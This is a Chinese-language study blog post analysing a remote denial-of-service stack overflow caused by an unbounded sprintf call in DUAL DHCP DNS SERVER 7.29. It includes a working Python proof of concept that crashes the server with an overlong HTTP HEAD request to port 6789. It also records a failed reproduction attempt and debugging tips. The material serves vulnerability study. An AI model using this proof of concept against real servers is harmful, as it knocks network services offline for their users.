漏洞分析——DUAL DHCP DNS SERVER 7.29远程拒绝服务漏洞

对于软件DUAL DHCP DNS SERVER 7.29中存在的远程拒绝服务漏洞的分析。

参考自:https://whereisk0shl.top/post/2016-11-04
poc如下——

import socket
import time
import sys

banner = "\n\n"
banner +="  ___        __        ____                 _    _  \n"
banner +=" |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    \n"
banner +="  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    \n"
banner +="  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ \n"
banner +=" |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|\n\n"
print banner

host = ""
port = 6789

def send_request(host,port,data):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        s.connect((host,port))
        s.send(data)
        print "[+] Malicious Packet Sent [+]\n"

    except Exception:
        print "[+] Exploit failed . . .[+]\n"
    s.close()

ebx = "BBBB"
eax = "CCCC"
evil = "A" * 497 + eax + "AAAA" + ebx + "D" * 400

if(len(sys.argv) < 1):
    print '\n Usage : exploit.py ipaddress\n'
    exit(0)
else:
    host = sys.argv[1]

#The method doesn't really matters. It gets valideted only about the length
request = "HEAD /{REPLACE} HTTP/1.1\r\nHost: " + str(host) + "\r\nUser-agent: Fuzzer\r\n\r\n"
send_request(host,port,request.replace("{REPLACE}",evil))

1.背景知识

sprintf函数引起的缓冲区溢出

漏洞代码示例——

int main()  
{  
    char src[50] = "abcdefghijklmnopqrstuvwxyz";  
    char buf[10] = "";  
    int len = sprintf(buf, "%s", src);  
    printf("src=%s\n", src);  
    printf("len=%d\n", len);  
    printf("buf=%s\n", buf);  
    return 0;  
}  

2.漏洞复现

直接卡在这一步,在win7以及winxp的虚拟机上都尝试安装运行该软件,但是运行成功之后另外一台虚拟机总是没法成功与服务器建立socket连接,二者是在同一个网段啊,都是192.168.73.xx,ping也能连通,就是每次运行poc脚本时就报错connection refused。要学的东西太多,先不在这上面纠结了,后面有时间再回来看。

后来想到可能是windows系统本身的防火墙开启了?

3.漏洞分析

A.参考博客学习

由于没有成功进行复现和分析,就先学习一下大佬的博客。

我们可以定位到漏洞触发点如下图所示——

我们可以定位到漏洞点如下图所示——

通过静态分析和动态调试相结合,我们可以分析出漏洞的产生原因如下:在使用不安全函数sprintf时,并没有对其传入参数的具体长度进行限制和控制,从而导致调用sprintf造成栈溢出,造成局域网内的DNS服务器终止服务,达到拒绝服务攻击的目的。

B.关键

可以学习到一些关键tips如下——

  • 分析漏洞触发原因时,重点关注数据的传递过程,并根据关键数据(如寄存器)的传递(从调用函数到被调用函数),梳理整个流程。
  • 如果关键数据作为函数参数进行传递,可以在函数起始处观察数据是否正常,如果上层函数传入的参数正常,则漏洞点应该在当前被调用函数中,如果上层函数传入的参数就已经异常了,则应该继续向上回溯。
  • 在分析过程中,同时应该注意关注函数调用流程以及函数对应的具体参数的具体值。

4.漏洞利用

虽然ebx被覆盖,但是没法覆盖到eip,而且ebx中存放的地址并不是函数指针或者可以利用的虚函数等,所以后续利用无法进行。

参考资料

A.关于DHCP

手把手教你搭建DHCP服务器
Win7&XP下实现DHCP Server功能

B.关于Python socket 遇到错误 [Errno 10060]

Python socket 遇到错误 【Errno 10060】 ?
Python socket 客户端无法连接 socket.error: 【Errno 10060】

C.关于sprintf函数

sprintf
sprintf函数引起的缓冲区溢出